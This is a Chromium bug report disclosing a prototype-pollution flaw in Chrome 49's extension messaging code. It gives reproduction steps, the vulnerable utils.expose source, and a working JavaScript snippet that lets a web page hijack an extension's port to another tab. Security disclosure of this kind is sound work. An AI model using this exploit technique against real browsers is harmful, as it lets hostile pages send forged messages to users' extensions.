UserAgent: Mozilla/5.0 (X11; CrOS x86_64 7834.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36

Steps to reproduce the problem:
1. ensure that there are no extensions installed that inject content scripts into google.com and that developer tools are closed
2. unpack test-victim-extension.zip and load the contents of the directory as extension
3. open port-hijack.html in a new tab (in which developer tools should *not* be opened)
4. click the link in port-hijack.html
4. wait a bit

What is the expected behavior?

What went wrong?
You should see a notification popup, created by the background script of the test extension in response to a message it received over the port that was opened by the content script.

The magic happens here in port-hijack.html:

Object.prototype.readonly=['postMessage'];
/* `chrome.runtime` in the next line triggers lazy load of extensions::messaging */
var postMessage_ = chrome.runtime.connect('x').postMessage;
delete Object.prototype.readonly;
function postMessageToPort(portId, msg) {
  return postMessage_.call({portId_: portId}, msg);
}

When the code references chrome.runtime, the privileged extensions::messaging JS code is loaded and creates the Port wrapper class around the privileged backing class using the following code:

var Port = utils.expose('Port', PortImpl, { functions: [
    'disconnect',
    'postMessage'
  ],
  properties: [
    'name',
    'onDisconnect',
    'onMessage'
  ] });

utils.expose is implemented as follows:

function expose(name, cls, exposed) {
  var publicClass = createClassWrapper(name, cls, exposed.superclass);

  if ('functions' in exposed) {
    $Array.forEach(exposed.functions, function(func) {
      publicClass.prototype[func] = function() {
        var impl = privates(this).impl;
        return $Function.apply(impl[func], impl, arguments);
      };
    });
  }

  if ('properties' in exposed) {
    [...]
  }

  if ('readonly' in exposed) {
    $Array.forEach(exposed.readonly, function(readonly) {
      $Object.defineProperty(publicClass.prototype, readonly, {
        enumerable: true,
        get: function() {
          return privates(this).impl[readonly];
        },
      });
    });
  }

  return publicClass;
}

This first registers a proper, safe function wrapper for postMessage as requested by extensions::messaging, but then, when looking up the list of properties that should be made available as read-only, performs an access through to Object.prototype because the `readonly` property of `exposed` wasn't set explicitly, allowing the attacker to request that direct access to the postMessage function should be provided. This function can then be called with arbitrary `this` arguments, allowing the attacker to control the portId that messages are sent to.

This issue allows normal websites to send messages through ports owned by other stuff running in the same renderer process - e.g. in this case, when tab A and tab B run in the same renderer and a content script in tab B has an open port to the corresponding browser extension, tab A can send messages to the extension over the content script's port.

This is vaguely related to  issue #609286  - in both cases, a lack of separation between normal JS code and privileged helper JS code allows the normal JS code to mess with the privileged code. In this case, the problem is that the privileged code uses objects with prototypes that the unprivileged code has access to.

Did this work before? N/A 

Chrome version: 49.0.2623.112  Channel: n/a
OS Version: 7834.70.0
Flash Version: Shockwave Flash 21.0 r0
 

Deleted: test-victim-extension.zip 1.3 KB

test-victim-extension.zip 1.3 KB Download

Deleted: port-hijack.html 585 bytes

port-hijack.html 585 bytes View Download